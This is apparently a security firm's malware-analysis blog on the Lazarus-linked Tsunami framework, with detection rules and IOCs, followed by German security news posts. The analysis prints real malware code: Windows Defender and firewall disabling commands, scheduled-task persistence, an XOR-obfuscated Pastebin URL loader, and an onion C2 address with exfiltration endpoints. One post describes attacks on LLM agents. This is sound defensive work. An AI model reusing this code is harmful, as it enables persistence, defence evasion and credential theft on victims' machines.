Rolling in the Deep(Web): Lazarus Tsunami

Summary

When HiSolutions investigated cryptocurrency theft in a software developers environment in fall
2024, the initial access vector and first stages of malware-deployment were identical to the
ongoing „Contagious Interview“-Campaign linked to North Korea.
During our analysis we were able to identify a more comprehensive sample of the Tsunami-Framework, a Malware relying on the TOR-Network and Pastebin (a SaaS) for command and control
Tsunami has a modular structure, incorporates multiple stealers and deploys two cryptominers. It has
first been identified by Luca Di Domenico and Alessio Di Santo.

Key Takeaways

  • The „Contagious Interview“-Campaign is ongoing and responsible for the theft of common and less common crypto-currencies.
  • The Threat Actor (TA) actively develops new tooling and uses Pastebin-Accounts and TOR .onion-Domains for C2.
  • The identified Tsunami-Malware is in active development and incorporates multiple crypto miners and credential stealers.

Analysis

When we first observed the Tsunami-Framework in an incident, it achieved initial access through
chainloading a malicious BeaverTail-Payload (loader) from the third-party domain “api.npoint.io”
through a private GitHub-Repository. When executed, the loader deploys the InvisibleFerret
Malware
, as is publicly known from other cases.

Our analysis of the InvisibleFerret file “.n2\bow” identified that the Framework used a Python-
Launcher with the essential parameter configuration below. Examining the variables and their
contents, we are able to identify the location where the Tsunami Injector and Tsunami Installer are
stored and executed. Additionally, the actors install a Python interpreter, presumably to ensure their
version requirements are met.

  ##### Globals ##### 

DEBUG_MODE = False

PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

APPDATA_ROAMING_DIRECTORY = os.getenv("APPDATA")

TSUNAMI_INJECTOR_NAME = "Windows Update Script.pyw"
TSUNAMI_INJECTOR_FOLDER = f"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup"
TSUNAMI_INJECTOR_PATH = rf"{TSUNAMI_INJECTOR_FOLDER}/{TSUNAMI_INJECTOR_NAME}"

TSUNAMI_INJECTOR_SCRIPT = """


##### Globals #####

DEBUG_MODE = False

ROAMING_APPDATA_PATH = os.getenv("APPDATA")
LOCAL_APPDATA_PATH = os.getenv("LOCALAPPDATA")

TSUNAMI_PAYLOAD_NAME = "".join([random.choice(string.ascii_letters) for i in range(16)])
TSUNAMI_PAYLOAD_FOLDER = tempfile.gettempdir()
TSUNAMI_PAYLOAD_PATH = rf"{TSUNAMI_PAYLOAD_FOLDER}\{TSUNAMI_PAYLOAD_NAME}"

TSUNAMI_INSTALLER_NAME = "Runtime Broker"
TSUNAMI_INSTALLER_FOLDER = rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications"
TSUNAMI_INSTALLER_PATH = rf"{TSUNAMI_INSTALLER_FOLDER}\Runtime Broker.exe"

TSUNAMI_PAYLOAD_SCRIPT = '''
RandVar = '?'

The launcher deploys a persistent “Tsunami-Injector” named “Windows Update Script.pyw” in
“AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup” and a “Tsunami_Installer” in
“AppData/Microsoft/Windows/Applications/Runtime Broker.exe”. It then adds a Windows-Defender
Exclusion for the “Runtime Broker.exe” and creates a Scheduled Task for secondary persistence.

##### Tsunami Payload ##### 

def add_windows_defender_exception(filepath: str) -> None:
try:
subprocess.run(
["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],
shell = True,
creationflags = subprocess.CREATE_NO_WINDOW,
stdout = subprocess.PIPE,
stderr = subprocess.PIPE,
stdin = subprocess.PIPE
)

output(f"Added a new file to the Windows Defender exception")
except Exception as e:
output(f"[-] Failed to add Windows Defender exception: {e}")

def create_task() -> None:
powershell_script = f\"\"\"
$Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$Principal.RunLevel = 1
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd
Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"
\"\"\"

The launcher-script contains a list of 1.000 XOR-encrypted Pastebin-User-Urls and checks for
uploaded Pastes, which contain the Download-URL for the “Tsunami-Installer”.

#### URL Downloader ##### 

def xor_encrypt(text: bytes):
XOR_KEY = b"!!!HappyPenguin1950!!!"

encrypted_text = bytearray()
for i in range(len(text)):
encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
return bytes(encrypted_text)

def xor_decrypt(text: bytes):
return xor_encrypt(text)

def decode(encoded: str) -> str:
encoded_bytes = binascii.unhexlify(encoded)
encoded_bytes = xor_decrypt(encoded_bytes)
encoded = base64.b64decode(encoded_bytes).decode()

return encoded[::-1]

def download_installer_url() -> str:
URLS = [

"6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2
c0b172e027675066557437618
4b6d255400291406550d55331e224801035312631145664675",

The “Tsunami-Installer” was written in .Net and contains further persistence mechanisms. During
execution, it adds multiple Windows-Defender- and Windows-Firewall-Exclusions and, if successful,
drops a “TsuAmFlag.txt” in “AppData/Local/Temp”.

powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime 
Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe'
powershell.exe Add-MpPreference -ExclusionPath 'C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe'
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow 
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe' enable=yes
powershell.exe netsh advfirewall firewall add rule name='Microsoft Edge WebEngine' dir=in action=allow
program='C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe' enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Microsoft\Windows\Applications\Runtime Broker.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\Dependencies\System Runtime Monitor.exe" enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
program=C:\Users\{USERNAME}\AppData\Local\Microsoft\WindowsApps\msedge.exe enable=yes
C:\Windows\system32\netsh.exe advfirewall firewall add rule "name=Microsoft Edge WebEngine" dir=in action=allow
"program=C:\Users\{USERNAME}\AppData\Local\Temp\\Runtime Broker.exe" enable=yes

Depending on the existence of “TsuAmFlag.txt” the Malware lies dorment for 1 or 5 minutes.

private static void DisableWindowsSecurity() 
{
int num = AntiDefender.FlagExists() ? 1 : 0;
AntiDefender.DisableWindowsDefender();
AntiDefender.DisableWindowsFirewall();
if (num != 0)
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Detected Anti Malware flag, sleeping for 1 minute");
Thread.Sleep(60000);
}
else
{
Logger.LogInfo("Program.DisableWindowsSecurity", "Did not detect Anti Malware flag, sleeping for 5 minutes");
Thread.Sleep(300000);
}

The binary further contains a “RessourceLoader” which extracts incorporated PE-Files. Here the Installer extracts a Tor-Client:

namespace TsunamiInstaller 
{
public static class ResourceLoader
{
public static byte[] Load(Resources resource)
{
byte[] resource1 = ResourceLoader.GetResource(resource);
if (resource1.Length == 0)
return new byte[0];
Array.Reverse<byte>(resource1);
return GZIP.Decompress(resource1);
}

private static byte[] GetResource(Resources resource) => resource == Resources.TorExecutable ? Resource1.tor_exe : new byte[0];
}
}

The deployed Tor-Binary is then used to downlaod a Client from a hardcoded Onion-URL:

namespace.Tsunami.Core.App 
{
public static class Meta
{
private static UsageType _UsageType = UsageType.None;
private static string _AppVersion = "";
private static string _AppSessionID = "";
private static string _ServerURL = "";

public static void Init(UsageType type, string appVersion)
{
Meta._UsageType = type;
Meta._AppVersion = appVersion;
Meta._AppSessionID = Guid.NewGuid().ToString();
Meta._ServerURL = "http://n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion";
}

The downloaded client then contains multiple modules:

  • Backdoor
  • Botnet
  • BraveCredentialStealer
  • BrowserCookie
  • BrowserCreditCard
  • BrowserPassword
  • BrowserSession
  • ChromeCredentialStealer
  • ChromiumStealer
  • CryptoMiner
  • DataStealer
  • Decryptor
  • DiscordAccount
  • EdgeCredentialStealer
  • EncryptedKey
  • EthereumMiner
  • ExodusStealer
  • FirefoxCredentialStealer
  • GeckoStealer
  • KeyLogger
  • InfoStealer
  • MoneroMiner
  • Nss3
  • OperaGXCredentialStealer
  • Profile
  • Secret
  • SecretFileStealer
  • TemperatureTracker
  • UpdateVisitor
  • WinApi

These modules provide multiple solutions for acquiring credentials, session-keys, cookies and a
keylogger (Backdoor). A recent development has been the “SecretFileStealer” module that searches
for and uploads files matching conditions that are dynamically loaded from the C2-Server. The
“Botnet” module stands out because it is uncommon for this type of malware. It also seems to be in
the early stages of development as it is not fully functional in the most recent version.

For Command-and-Control the Onion-Domain provides multiple Endpoints:

  • /api/v1/browser-passwords
  • /api/v1/browser-sessions
  • /assets/v2/tsunami-client/file
  • /api/v1/discord-accounts
  • /api/v1/environment-info
  • /assets/v2/tsunami-client/hash
  • /api/v1/init
  • /api/v1/telemetry
  • /assets/v2/dotnet6-installer-url

Like the “Tsunami-Installer” the “Tsunami-Client” contains multiple files:

  • AMD_Compute_Mode_Enabler.reg
  • ETHW_Miner.exe
  • Ldbdump.exe
  • Tor.exe
  • XMRig.exe
  • Xmrig_config.json
  • XMRig_Driver.sys

We assume the Framework to be in a testing-phase according to the “’rig-id’: ‘test’” in
“Xmrig_config.json” (below).


"pools": [
{
"coin": "monero",
"url": "xmrpool.eu:5555",
"user": "45Kwfu8Q7B18zg5THCz3Jze9YSVn54BPh1tBgzyqJmmUL8YWwXLhs1NV1LCLLv1cJTAHrKhn4cwVNNuzdaydbDXJT9eiQuf",
"pass": "x",
"rig-id": "test",
"keepalive": true,
"enabled": true
}

Detection and Response

YARA

rule tsunami_framework : apt { 
meta:
name = "tsunami_framework"
category = "framework"
description = "Detects Tsunami-Framework"
author = "Nicolas Sprenger (HiSolutions AG)"
created = "2024-12-18"
reliability = 100
tlp = "TLP:clear"
sample = "ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527"
score = 100

strings:
$ = "=/\x00a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00t\x00s\x00u\x00n\x00a\x00m\x00i\x00-\x00c\x00l\x00i\x00e\x00n\x00t\x00"
$ = "/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00b\x00r\x00o\x00w\x00s\x00e\x00r\x00-\x00p\x00a\x00s\x00s\x00w\x00o\x00r\x00d\x00s"
$ =
"/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00i\x00n\x00i\x00t\x00\x001/\x00a\x00p\x00i\x00/\x00v\x001\x00/\x00e\x0
0n\x00v\x00i\x00r\x00o\x00n\x00m\x00e\x00n
\x00t\x00-\x00i\x00n\x00f\x00o\x00"
$ = "a\x00p\x00i\x00/\x00v\x001\x00/\x00d\x00i\x00s\x00c\x00o\x00r\x00d\x00-\x00a\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00"
$ = "a\x00s\x00s\x00e\x00t\x00s\x00/\x00v\x002\x00/\x00d\x00o\x00t\x00n\x00e\x00t\x006\x00-\x00i\x00n\x00s\x00t\x00a\x00l\x00l\x00e\x00r\x00-
\x00u\x00r\x00l"
$ = { 5473756E616D692E436F72652E436F6D6D6F6E2E }
$ = { 680074007400700073003A002F002F006100700069002E00690070006900660079002E006F0072006700 } // "https://api.ipify.org"
$ = { 68007400740070003A002F002F006900700069006E0066006F002E0069006F002F00 } // "http://ipinfo.io/"

condition:
uint16(0) == 0x5a4d and all of them
}

TTP and Indicators

MITRE ATT&CK TTP

IDTechniqueComment
T1082System Information DiscoveryDuring Initialization the malware
sends hardware and OS information to the C2.
T1589.001Gather Victim Identity Information:
Credentials
Multiple modules collect credentials from browsers and other applications.
T1587.001Develop Capabilities: MalwareThe Threat Actor actively develops the Tsunami malware.
T1584.005Compromise Infrastructure: BotnetThe malware includes Botnet functionality.
T1608Stage CapabilitiesThe infection chain relies on multiple stages hosted on different systems and services.
T1566PhishingThe Threat Actor approaches their
victims via LinkedIn and poses as a potential business partner.
T1059Command and Scripting InterpreterMultiple stages rely on Scripting
Interpreters like JavaScript,
PowerShell and Python.
T1053.005Scheduled Task/JobThe malware loader relies on a
Scheduled Task for persistence.
T1204User ExecutionThe Initial Access relies on the user executing a backdoored GitHub repository.
T1547Boot or Logon Autostart ExecutionThe Tsunami Payload creates a
Startup Task for persistence.
T1562.004Impair Defenses: Disable or Modify System FirewallThe Windows Firewall is being
disabled.
T1562.001Impair Defenses: Disable or Modify ToolsWindows Defender is being disabled.
T1027Obfuscated Files or InformationThe initial stages are heavily
obfuscated and later stages are
slightly obfuscated.
T1056Input CaptureThe malware has Keylogging
capabilities.
T1539Steal Web Session CookieThe malware exfiltrates Browser
Session Cookies.
T1555Credentials from Password StoresMultiple Applications and Browsers are accessed for credential access.
T1083File and Directory DiscoverySpecific files are sought out and
uploaded to the C2 Server.
T1020Automated ExfiltrationThe malware automatically and
periodically uploads gathered
information.
T1496.001Resource Hijacking: Compute
Hijacking
Multiple Cryptominers are deployed by the malware

Indicator of Compromise

ValueTypeComment
3f424b477ac16463e871726cbb106d41574d2d0e910dee035fbd23241515e770SHA256Tor.exe
b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497dSHA256AMD_Compute_Mode_Enabler.reg
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bedSHA256ETHW_Miner.exe
f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570feaSHA256ldbdump.exe
2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770SHA256XMRig.exe
94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1SHA256xmrig_config.json
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5SHA256XMRig_Driver.sys
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
E:\Tsunami\Tsunami Stable\Tsunami Payload\obj\Release\net6.0\win-x64\Tsunami Payload.pdbPDB-Path
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086SHA256Packed Sample from Onion
28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630SHA256Unpacked Sample from Onion
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256
23.254.229[.]101IPv4
http://23.254.229[.]101/cat-video URLHosts Tsunami-Installer
e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8SHA256
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256cat-video
n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onionC2-
Domain
Sometimes you never know the value of a moment until it becomes a memoryString
Extensive documentation on this process has been included on
my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE
String
headers = {„User-Agent“:“Mozilla/5.0″}String
XOR_KEY = b“!!!HappyPenguin1950!!!“String

Titel Signalgate

Signalgate

Die sogenannte Signal-Affäre hat in den letzten Wochen für erhebliche Aufregung in Washington gesorgt. Ein angesehener US-Journalist, Jeffrey Goldberg, wurde versehentlich in einen vertraulichen Signal-Chat der US-Regierung eingeladen, in dem hochrangige Regierungsvertreter militärische Operationen im Jemen diskutierten. Die Frage, die sich in diesem Zusammenhang stellt, ist, wie es zu diesem sicherheitsrelevanten Fauxpas kommen konnte. Wir können guten Gewissens ausschließen, dass es sich um einen Hack oder eine schadhafte Funktion in der Signal-App gehandelt hat, wie es von Seiten der amerikanischen Regierung anfänglich angedeutet wurde.

Der Signal-Messenger hat eine Schwäche im Design: Die Überprüfung, ob der Gesprächspartner tatsächlich derjenige ist, mit dem man kommunizieren möchte, liegt in der Verantwortung des Benutzers. Dies bedeutet, dass keine Sicherheitsgarantie für die Authentizität des Kommunikationspartners besteht. Signal bietet seinen Nutzern jedoch die Möglichkeit, die Authentizität ihrer Kommunikationspartner selbst zu überprüfen und dann in Signal zu vermerken. Diese Funktion wird jedoch in der Benutzeroberfläche nicht so prominent dargestellt wie beispielsweise bei Threema mit dem Ampelsystem. Erst durch die Überprüfung der Sicherheitsnummer über einen zweiten Kanal wird die Authentizität des Kommunikationspartners sichergestellt.

Die Nachlässigkeit, die Sicherheitsnummer nicht überprüft zu haben, wurde dem nationalen Sicherheitsberater Mike Waltz zum Verhängnis, da er die Personen nur aufgrund der in seinem Handy gespeicherten Telefonnummern in die betroffene Signal-Gruppe aufnahm. Aktuellen Berichten zufolge hat das Mobiltelefon von Mike Waltz die Telefonnummer von Jeffrey Goldberg aufgrund eines Fehlers in der automatischen Kontaktverknüpfung des iPhones einem bestehenden Kontakt zugeordnet.

Nicht ohne Grund gibt es für die Kommunikation, bei der nicht nur Nachrichten sicher verschlüsselt übertragen werden sollen, sondern auch die Authentizität aller Kommunikationsteilnehmenden zuverlässig und dauerhaft sichergestellt sein muss, zertifizierte Lösungen, die zentral von einer der Geheimhaltungsstufe entsprechenden vertrauenswürdigen Stelle betrieben werden. Diese Stelle übernimmt auch die Registrierung und Prüfung der Authentizität von Teilnehmenden. Warum eine solche Kommunikationsplattform in diesem Fall nicht verwendet wurde, darüber kann nur spekuliert werden.

https://t3n.de/news/geheimchat-affaere-usa-signal-gewinner-1680595

https://www.br.de/nachrichten/deutschland-welt/signal-affaere-pentagon-ermittelt-gegen-eigenen-chef-hegseth

https://www.heise.de/news/Signal-Affaere-US-Journalist-angeblich-dank-iOS-Funktion-in-geheimem-Gruppenchat-10342141.html

https://www.t-online.de/nachrichten/ausland/usa/id_100668006/signal-affaere-wie-jeffrey-goldberg-vom-atlantic-in-die-chatgruppe-kam.html

https://www.theguardian.com/us-news/2025/apr/06/signal-group-chat-leak-how-it-happened

https://www.heise.de/news/US-Verteidigungsminister-Pentagon-Aufsicht-prueft-Verhalten-in-Signal-Affaere-10340035.html

https://www.heise.de/news/US-Regierung-Austausch-ueber-die-Krisen-der-Welt-in-viel-mehr-Gruppenchats-10339137.html

https://threema.ch/de/faq/levels_expl

https://support.signal.org/hc/de/articles/360007060632

KI-Agenten anfällig für einfache gefährliche Angriffe

Es lässt sich eine signifikant zunehmende Verwendung von KI-Agenten in verschiedenen Bereichen zur Automatisierung von Aufgaben und zur Unterstützung bei Entscheidungsprozessen beobachten (i. d. R. mit Large Language Models – LLM). Die Kompetenz, diese KI-Systeme effektiv zu nutzen und zu steuern, gewinnt damit an Bedeutung.

Doch wie sicher sind diese KI-Agenten?

Eine aktuelle Studie mit dem Titel „Commercial LLM Agents Are Already Vulnerable to Simple Yet Dangerous Attacks“ beleuchtet die Sicherheits- und Datenschutzlücken von kommerziellen LLM-Agenten und zeigt, dass diese oft anfällig für einfache, aber gefährliche Angriffe sind.

Die Autoren der Studie haben eine umfassende Taxonomie der Angriffe erstellt, die Bedrohungsakteure, Ziele, Einstiegspunkte, Sichtbarkeit des Angreifenden, Angriffstechniken und die inhärenten Schwachstellen der Agenten-Pipelines kategorisiert. Die systematische Analyse zeigt, dass die Integration von LLMs in größere Systeme neue Sicherheitsherausforderungen mit sich bringt, die über die bekannten Schwachstellen isolierter LLMs hinausgehen.

Um die praktischen Auswirkungen dieser Schwachstellen zu demonstrieren, führten die Autoren eine Reihe von Angriffen auf populäre Open-Source- und kommerzielle Agenten durch, die bemerkenswert einfach umzusetzen waren und keine speziellen Kenntnisse im Bereich maschinelles Lernen erforderten. Dies unterstreicht die Dringlichkeit, Sicherheitsmaßnahmen zu verbessern und die Robustheit dieser Systeme zu erhöhen.

https://arxiv.org/html/2502.08586v1

https://www.linkedin.com/pulse/wenn-ki-agenten-zu-komplizen-werden-roger-basler-de-roca-qnrre

BSI zertifiziert quantensichere Smartcard

Unter der schwebenden Gefahr der Entwicklung eines kryptografisch relevanten Quantencomputers treiben unter anderem das BSI (Bundesamt für Sicherheit in der Informationstechnik) und auch das NIST (National Institute of Standards and Technology) seit geraumer Zeit die Ablösung der altbewährten asymmetrischen Verschlüsselungsalgorithmen (RSA, ECDSA, EdDSA, DH und ECDH) durch neue quantensichere Algorithmen voran.

https://www.forschung-it-sicherheit-kommunikationssysteme.de/dateien/forschung/2024-03-impulspapier-quanten-cybersicherheit.pdf

https://nvlpubs.nist.gov/nistpubs/ir/2024/NIST.IR.8547.ipd.pdf

Aber auch Europol hat Finanzinstitute und politische Entscheidungsträger weltweit aufgefordert, dem Übergang zur quantensicheren Verschlüsselung Priorität einzuräumen und Lösungen einzusetzen.

https://www.heise.de/news/Europol-Finanzinstitute-sollten-rasch-auf-quantensichere-Kryptografie-umsatteln-10274967.html

Das BSI hat nun das weltweit erste Common-Criteria-Sicherheitszertifikat (EAL6+, ALC_FLR.1) für eine konkrete Implementierung des (neuen) PQC-Verfahrens ML-KEM (https://csrc.nist.gov/pubs/fips/203/final) auf einer Smartcard erteilt.

Die quantensichere Smartcard soll damit langfristig die Sicherheit verschlüsselter Daten auch bei der Entwicklung eines kryptografisch relevanten Quantencomputers gewährleisten und kann in verschiedenen Anwendungen wie Personalausweis, Gesundheitskarte, Kreditkarte und SIM-Karte eingesetzt werden.

Die vom BSI zertifizierte Smartcard setzt auf einen Infineon-IC auf 32-bit Arm v8-M CPUBasis, der das PQC-Verfahren FIPS203 (ML-KEM) umsetzt.

https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2025/250121_erste_quantensichere_Smartcard.html

https://www.heise.de/news/BSI-zertifiziert-erste-Smartcard-mit-Post-Quanten-kryptografischem-Algorithmus-10250779.html

https://www.it-finanzmagazin.de/bsi-zertifiziert-erste-quantensichere-smartcard-mit-post-quanten-kryptografischen-algorithmus-221558

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Zertifizierung/Reporte/Reporte1200/1249a_pdf

USB-Schnittstellen unter Windows absichern

Im Rahmen von Windows Client Audits untersuchen wir, ob Härtungsmaßnahmen gegen typische Angriffe über USB-Schnittstellen umgesetzt wurden. Grundsätzlich kann ein Angreifer ungeschützte USB-Schnittstellen zum Ausleiten von Daten (Exfiltration) oder zum Einleiten/Ausführen von Daten bzw. Code missbrauchen.

Das Ausleiten von Daten über USB (TA0010) geschieht typischerweise durch den Anschluss eines Wechselmediengeräts, wie z. B. Speichersticks oder externe Festplatten (T1052). Jedoch können ebenso eher untypische Geräte wie externe CD/DVD-Laufwerke angeschlossen werden, die zur Exfiltration von Daten missbraucht werden können.

Externe Hardware birgt gleichwohl die Gefahr, dass darüber Daten bzw. Schadcode auf das Client-System gelangt und dort ausgeführt wird (TA0002). In der Praxis kann dies bspw. ein mit Malware präparierter USB-Speicherstick sein, welcher von unachtsamen Mitarbeitern angeschlossen und dessen Inhalt anschließend ausgeführt wird (T1059). Alternativ kann der Angriff über ein „BadUSB“-Device erfolgen (T1204). Ein typischer Vertreter dieser Gattung ist der sogenannte RubberDucky. Dabei handelt es sich um eine als USB-Speicherstick getarnte Tastatur, welche in der Lage ist, vorprogrammierte Tastatureingaben automatisiert und in schneller Abfolge auszuführen. Die Größe der Daten, die mittels RubberDucky auf das System „übertragen“ werden können, ist zwar beschränkt. Es ist jedoch problemlos möglich, Schadcode aus dem Internet nachzuladen und diesen auf dem Client zur Ausführung zu bringen.

Um den Risiken der Datenaus- und -einleitung zu begegnen, bietet Windows verschiedene Möglichkeiten, welche nachfolgend vorgestellt werden.

  1. Lese- und Schreibe-/Schreibzugriff auf Wechselmedien einschränken: Nutzer können zwar Wechselmedien-Geräte anschließen jedoch wird der Lese- oder/und Schreibzugriff auf Medien beschränkt.
  2. Installation von Wechselmedien-Geräten beschränken: Die Installation von Gerätetreibern bestimmter Wechselmedien-Geräteklassen, bspw. WPD-Geräte (Smartphones), wird unterbunden. Dadurch ist keine Nutzung dieser mehr möglich.
  3. Installation von Tastaturen beschränken: Die Installation von Gerätetreibern für unbekannte Tastaturen wird unterbunden. Angriffe durch BadUSB-Geräte, welche Tastaturen simulieren, ist dadurch nicht mehr möglich.

Die folgende Grafik stellt den Zusammenhang zwischen Angriffstaktiken bzw. -techniken und den passenden Maßnahmen noch einmal visuell dar:

Ausnutzung des Angriffsvektors "USB-Schnittstelle" und Schutzmaßnahmen

In diesem Artikel erfahren Sie, welche Einstellungen Sie vornehmen müssen, um die genannten Beschränkungen über Active-Directory-Gruppenrichtlinien unternehmensweit auszurollen.

1. Lese- und Schreibe-/Schreibzugriff auf Wechselmedien einschränken

Beim Begriff „Wechselmedium“ denkt man meist als erstes an USB-Speichersticks oder externe Festplatten. Tatsächlich sind diese in der Windows-Welt jedoch nur zwei Vertreter der Wechselmedienklasse „Wechseldatenträger“. Windows unterscheidet insgesamt zwischen diesen fünf Wechselmedienklassen:

  1. CD und DVD
  2. Diskettenlaufwerke
  3. Wechseldatenträger (z. B. USB-Sticks, externe Festplatten)
  4. Bandlaufwerke
  5. WPD-Geräte (z. B. MTP-fähige Geräte wie Smartphones)

In Penetrationstests stellen wir häufig fest, dass Kunden nur den Zugriff auf die offensichtliche Wechselmedienklasse „Wechseldatenträger“ eingeschränkt haben. Dadurch lassen sich zwar keine Daten von USB-Sticks transferieren, jedoch ist es weiterhin möglich, bspw. externe CD- und DVD-Laufwerke anzuschließen, um darüber Daten auszutauschen.

Wenn Sie den Lese- oder Schreibzugriff auf Wechselmedienklassen hinreichend beschränken wollen, müssen Sie dies für alle (ihren Unternehmensrichtlinien entsprechenden) Wechselmedienklassen tun. Folgen Sie den nachfolgenden Schritten, um Lese- und Schreibzugriffe auf Wechselmedien über Active-Directory-Gruppenrichtlinien zu verwalten:

  1. Öffnen Sie den lokalen Richtlinieneditor (gpedit.msc)
  2. Navigieren Sie zum Pfad:
    Computerkonfiguration -> Administrative Vorlagen -> System -> Wechselmedienzugriff
  3. Die sicherste Methode ist es, den Lese- und Schreibzugriff auf alle Wechselmedienklassen zu unterbinden. Aktivieren Sie dazu die Einstellung „Alle Wechselmedienklassen: Jeglichen Zugriff verweigern“:
  • Möchten Sie lediglich Schreiboperationen auf Wechselmedien verhindern, aktivieren Sie stattdessen die Option „Alle Wechselmedienklassen: Schreibzugriff verweigern“.

Überprüfen Sie den Zugriff auf ein Wechselmedium Ihrer Wahl, z. B. einen USB-Speicherstick, in dem Sie diesen an den Windows Client anschließen und versuchen, Daten zu schreiben und zu lesen.

Häufig stehen Administratoren allerdings vor dem Dilemma, dass zwar der Anschluss von beliebigen Wechselmedien unterbunden werden soll, es jedoch Ausnahmen geben muss. Eine typische Anforderung ist, dass der Windows Client den Anschluss beliebiger Wechselmedien unterbinden muss, es sei denn, es handelt sich um einen USB-Speicherstick der Marke / des Modells „XYZ“.

Um dies umzusetzen, muss die Gerätetreiber-Installation von Wechselmedienklassen beschränkt werden. Mehr dazu im folgenden Abschnitt.

2. Installation von Wechselmedien-Geräten beschränken

Falls Sie den Anschluss von unerlaubten Wechselmedien verhindern möchten, bietet es sich an, die Gerätetreiber-Installation unbekannter Wechselmedien-Geräte zu deaktivieren. Dadurch werden diese nicht mehr vom Windows gemountet und können folglich nicht geschrieben oder gelesen werden. Lediglich Geräte, deren Hardware-ID hinterlegt wurde, können noch angeschlossen und verwendet werden (Whitelisting-Ansatz). Die hinterlegte Hardware-ID kann sich z. B. auf ein bestimmtes Gerät, ein Model oder einen Hersteller beziehen.

